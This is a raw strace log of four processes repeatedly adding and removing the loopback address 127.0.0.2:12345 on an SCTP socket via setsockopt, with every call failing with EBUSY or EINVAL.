[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
